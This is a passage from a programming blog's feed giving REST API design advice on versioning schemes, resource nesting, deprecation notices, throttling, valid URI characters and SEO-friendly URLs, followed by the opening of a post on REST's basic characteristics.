REST&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Examples of companies: Twitter, dropbox, youtube, etsy.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://dominio.com/api/v1/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;domain-level&#34;&gt;Domain level&lt;/h3&gt;&#xA;&lt;p&gt;Quite simple to understand and implement but will bring problems to those customers who store urls in database. Again, technically, &lt;strong&gt;placing the version in the domain is not REST&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Examples of companies: Twitter, dropbox, youtube, etsy.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://apiv1.dominio.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;by-means-of-parameters-in-the-url-or-in-the-body&#34;&gt;By means of parameters in the url or in the body&lt;/h3&gt;&#xA;&lt;p&gt;It keeps the same url, only the parameters change. It brings problems with clients that save the urls and their parameters in the database. Technically &lt;strong&gt;using parameters for API versioning is not REST&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Examples of companies: Google data, Paypal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://apiv1.dominio.com/resource?version&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the HTTP request body it would look like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /places HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: api.example.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;through-http-headers&#34;&gt;Through HTTP headers&lt;/h3&gt;&#xA;&lt;p&gt;Retains the same urls but may confuse caching systems.&lt;/p&gt;&#xA;&lt;p&gt;Example companies: Azure.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /resources HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: example.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ApiVersion: 1.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Vary: ApiVersion&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider that you need to add a vary header so that the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/&#34;&gt;caching systems&lt;/a&gt;&#xA; do not store different versions of the API in the same url.&lt;/p&gt;&#xA;&lt;h3 id=&#34;in-the-content-negotiation&#34;&gt;In the content negotiation&lt;/h3&gt;&#xA;&lt;p&gt;Remember that mechanism defined in the HTTP protocol that allows you to obtain different versions of a resource? Well, in addition to applying to formats, it can be used to specify versions.&lt;/p&gt;&#xA;&lt;p&gt;Keep the same urls, it can confuse developers who do not understand headers.&lt;/p&gt;&#xA;&lt;p&gt;Examples of companies: Github, Adidas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application/vnd.github&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;.version&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;.param&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;+json&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In REST one thing are the resources and another their representation, the resources, in addition to the format, have another form of representation, which is the API version, so this way does comply with REST. Although its use can be a little more confusing for people unfamiliar with the HTTP protocol.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-much-nesting-of-api-resources&#34;&gt;How much nesting of API resources?&lt;/h2&gt;&#xA;&lt;p&gt;When we have relationships between our resources, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/&#34;&gt;it is a good idea for SEO to create a hierarchal structure&lt;/a&gt;&#xA;, however it could be tempting making it unnecessarily long.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /resource/&amp;lt;id&amp;gt;/subresource/&amp;lt;id&amp;gt;/subsubresource/&amp;lt;id&amp;gt;/subsubsubresource ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/clients/99/orders/88/products/77/variants ❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rest-framework.org/api-guide/relations/#example_2&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DRF documentation suggests a flat structure&lt;/a&gt;&#xA; when designing APIs.&lt;/p&gt;&#xA;&lt;p&gt;The white house API standards guide also advocates for succinct nesting.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;resource/&amp;lt;id&amp;gt;/resource&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.microsoft.com/en-us/azure/architecture/best-practices/api-design&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Microsoft also recommends keeping URIs as simple as possible.&lt;/a&gt;&#xA; But how do I refer to resources deeper in the URL? Well you can create an endpoint with one or two levels of nesting and access them directly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /subresource/&amp;lt;id&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;and-how-to-deal-with-related-resources&#34;&gt;And how to deal with related resources?&lt;/h3&gt;&#xA;&lt;p&gt;Very long URLs, with multiple hierarchies above, can be shortened by accessing them directly using the direct reference to the resource.&lt;/p&gt;&#xA;&lt;p&gt;Instead of having an endpoint that requires the entire hierarchy in the URI. As in this example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tienda/99/clients/99/orders/88/products/77&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reduce the length of the endpoint to a minimum, the identifier should be enough to access the resource.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /subresource/&amp;lt;id&amp;gt;/subsubresource/&amp;lt;id&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/orders/88/products/77&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how even in the absence of the initial part of the URI above, we can still access the resource and it is perfectly readable.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notify-about-api-updates&#34;&gt;Notify about API updates&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes it is necessary to introduce structural changes in the APIs, to prevent all those who consume it from presenting problems, we need to notify them. But&amp;hellip; how?&lt;/p&gt;&#xA;&lt;p&gt;In the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/&#34;&gt;book Two Scoops of Django&lt;/a&gt;&#xA;, the authors recommend the following steps for notifying an API version change.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notify users as far in advance as possible via email, blogs or any other means, almost to the point of boredom.&lt;/li&gt;&#xA;&lt;li&gt;Replace the deprecated API response with an HTTP 410 error that returns a message containing links to: the new endpoint, the new API documentation and, if it exists, the text explaining why the changes were made.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;limit-your-api-through-a-throttling-policy&#34;&gt;Limit your API through a throttling policy&lt;/h2&gt;&#xA;&lt;p&gt;You should limit your API. Users should not have unrestricted access and unlimited requests to your API. There are users that can abuse your API, keep your server busy, preventing the rest of the users from using it and increasing your costs.&lt;/p&gt;&#xA;&lt;p&gt;One way around this is to set a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/&#34;&gt;throttling policy&lt;/a&gt;&#xA; on your server for any user.&lt;/p&gt;&#xA;&lt;p&gt;You can also make it the center of your business and offer payment plans according to the number of requests per minute to your API.&lt;/p&gt;&#xA;&lt;h2 id=&#34;special-characters-in-the-uri&#34;&gt;Special characters in the URI&lt;/h2&gt;&#xA;&lt;p&gt;Use only valid characters in your URI.&lt;/p&gt;&#xA;&lt;p&gt;According to the specification &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://datatracker.ietf.org/doc/html/rfc3986#section-3&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;RFC 3986&lt;/a&gt;&#xA;, the only valid characters, i.e., that do not need to be encoded, in a URI are the basic Latin alphabet letters, digits and some special characters (as long as they are used for their intended purpose).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Secure characters [0-9a-zA-Z]: do not need to be encoded&lt;/li&gt;&#xA;&lt;li&gt;Non-reserved characters [- . _ ~]: do not need to be encoded&lt;/li&gt;&#xA;&lt;li&gt;Reserved characters [: / ? # [] @ ! $ &amp;amp; &amp;rsquo; ( ) * + , ;] only need to be encoded if they are not used for their original purpose (e.g. a diagonal not used to separate paths)&lt;/li&gt;&#xA;&lt;li&gt;Unsafe characters [&amp;lt; &amp;gt; % { } | \ ^ `]: need to be encoded.&lt;/li&gt;&#xA;&lt;li&gt;All other characters need to be encoded.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The above is changing and they are trying to add many more symbols from different languages, you can read more about it in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.w3.org/International/articles/idn-and-iri/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;w3 idn and iri article&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;consider-seo-in-your-urls&#34;&gt;Consider SEO in your URLs&lt;/h2&gt;&#xA;&lt;p&gt;Search engines consider the URL to rank a web page, if search engine ranking is important to your website, don&amp;rsquo;t just use identifiers, tell the search engine the topic in the URL. SEO and URLs are a topic too broad to summarize in a few lines, but this should give you an idea of how to search for more information.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/posts/post-title ✅&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/posts/99-post-title ✅&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/posts/99 ❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I hope you found the post useful, or at least that it introduced you to material you hadn&amp;rsquo;t previously considered when designing an API.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reference-sources&#34;&gt;Reference sources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jsonapi.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;JSON:API Documentation&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.w3.org/International/articles/idn-and-iri/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;IRI y URI&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/WhiteHouse/api-standards&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Whitehouse&amp;rsquo;s API standard&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.microsoft.com/en-us/azure/architecture/best-practices/api-design&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Best Practices API design from Microsoft&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.amazon.com.mx/Build-APIs-You-Wont-Hate/dp/0692232699/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;amp;amp;crid=2W0ZTSCO349YL&amp;amp;amp;keywords=build&amp;#43;apis&amp;amp;amp;qid=1648756000&amp;amp;amp;sprefix=build&amp;#43;apis%2Caps%2C187&amp;amp;amp;sr=8-1&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sturgeon, P. (2015). &lt;em&gt;Build Api’s&lt;/em&gt;. Philip J. Sturgeon.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.amazon.com.mx/Rest-API-Design-Rulebook-Consistent/dp/1449310508&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Massé, M. (2012). REST API design rulebook. Sebastopol, CA: O&amp;rsquo;Reilly.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.feldroy.com/books/two-scoops-of-django-3-x&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Two scoops of django&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;How do I design a REST API? How many levels should I nest my related resources? Relative or full URLs? This post is a compilation of some recommendations about some good REST API design practices that I have found in books and articles on the internet. I leave the sources at the end of the article in case you are interested in going deeper or see where this information comes from.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>REST API basic characteristics and recommendations</title>
      <link>https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/</link>
      <pubDate>Thu, 07 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This publication is a minimal guide of practical tips on REST API design, what is a characteristic of the REST API? I don&amp;rsquo;t go too deep into the theory. On top of that, I may oversimplify many concepts in order to keep the text as short and simple as possible.&lt;/p&gt;&#xA;&lt;p&gt;In the next post I will talk about some more subjective questions such as: how to return JSON correctly, how to nest an API, what are the ways to version a REST API, and what are some of the ways to version a REST API.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;what-is-an-api&#34;&gt;What is an API?&lt;/h2&gt;&#xA;&lt;p&gt;The term API stands for application programming interface, and consists of a set of rules that tell us how applications and/or devices can communicate with each other.&lt;/p&gt;&#xA;&lt;h3 id=&#34;there-are-different-types-of-apis&#34;&gt;There are different types of APIs&lt;/h3&gt;&#xA;&lt;p&gt;There are many types of APIs and new paradigms are appearing all the time, one of them is REST but not the only one.&lt;/p&gt;&#xA;&lt;p&gt;REST is special because it has managed to survive the passage of time and position itself above the rest (pun not intended), but no one knows what will happen tomorrow, maybe we will rewrite all APIs in Rust.&lt;/p&gt;&#xA;&lt;p&gt;To this date, there are still protocols that work with POST requests, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;the Model Context Protocol&lt;/a&gt;&#xA;, used the standarise the communication between a client and a LLM.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/timeline-de-APIs.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/timeline-de-APIs.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;APIs timeline&#34; width=&#34;1330&#34; height=&#34;565&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;REST paradigm was created around year 2000&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-is-a-rest-api&#34;&gt;What is a REST API?&lt;/h2&gt;&#xA;&lt;p&gt;A REST API is an API that complies with the REST design standard (Thank you captain obvious!), but what is REST? REST is a style of architecture, which has to comply with a series of characteristics that I will talk about in the next paragraphs.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-are-the-characteristics-of-a-rest-api&#34;&gt;What are the characteristics of a REST API?&lt;/h3&gt;&#xA;&lt;p&gt;Not all APIs are REST, numerous developers, at all levels, interchangeably use the term REST API to refer to any server that returns JSON or even action-oriented APIs, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/&#34;&gt;RPC or gRPC&lt;/a&gt;&#xA;, even large companies as Twitter and Facebook do not meet all the characteristics of a REST API, despite advertising their APIs as such.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;If you already know the brief technical part, skip this section.&lt;/p&gt;&#xA;&lt;p&gt;If we want to design a REST API we have to comply with a series of characteristics that define this design style. I summarize them briefly below:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;System with client-server architecture.&lt;/strong&gt; A system consisting of two parts, one that requests information and the other that provides it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Stateless:&lt;/strong&gt; The result of a request must not depend on previous requests. That is, the client must provide everything necessary for its processing by the server, and the server must not store any session information.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cacheable&lt;/strong&gt;: It must be possible to tag a response as cacheable to reuse it in subsequent similar responses.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Uniform interface for all clients.&lt;/strong&gt; URIs must (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://danielmiessler.com/study/difference-between-uri-url/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Not be confused with URL&lt;/a&gt;&#xA;) refer to resources and each resource must have a unique URI. A resource can be a post, a user, a product, etc. For its part, the server sends representations of the resources (XML, JSON. TXT, etc), never the original resource. The client must be able to modify the original resource from the representation of the resource it receives from the server.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Access and modification of resources through a URI&lt;/strong&gt;: Remember that one thing is the resource itself and another is its representation. The client can specify the type of resource (XML, JSON, TXT, etc.) that it wishes to receive from the server.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Self-describing messages&lt;/strong&gt;: Each message must have enough 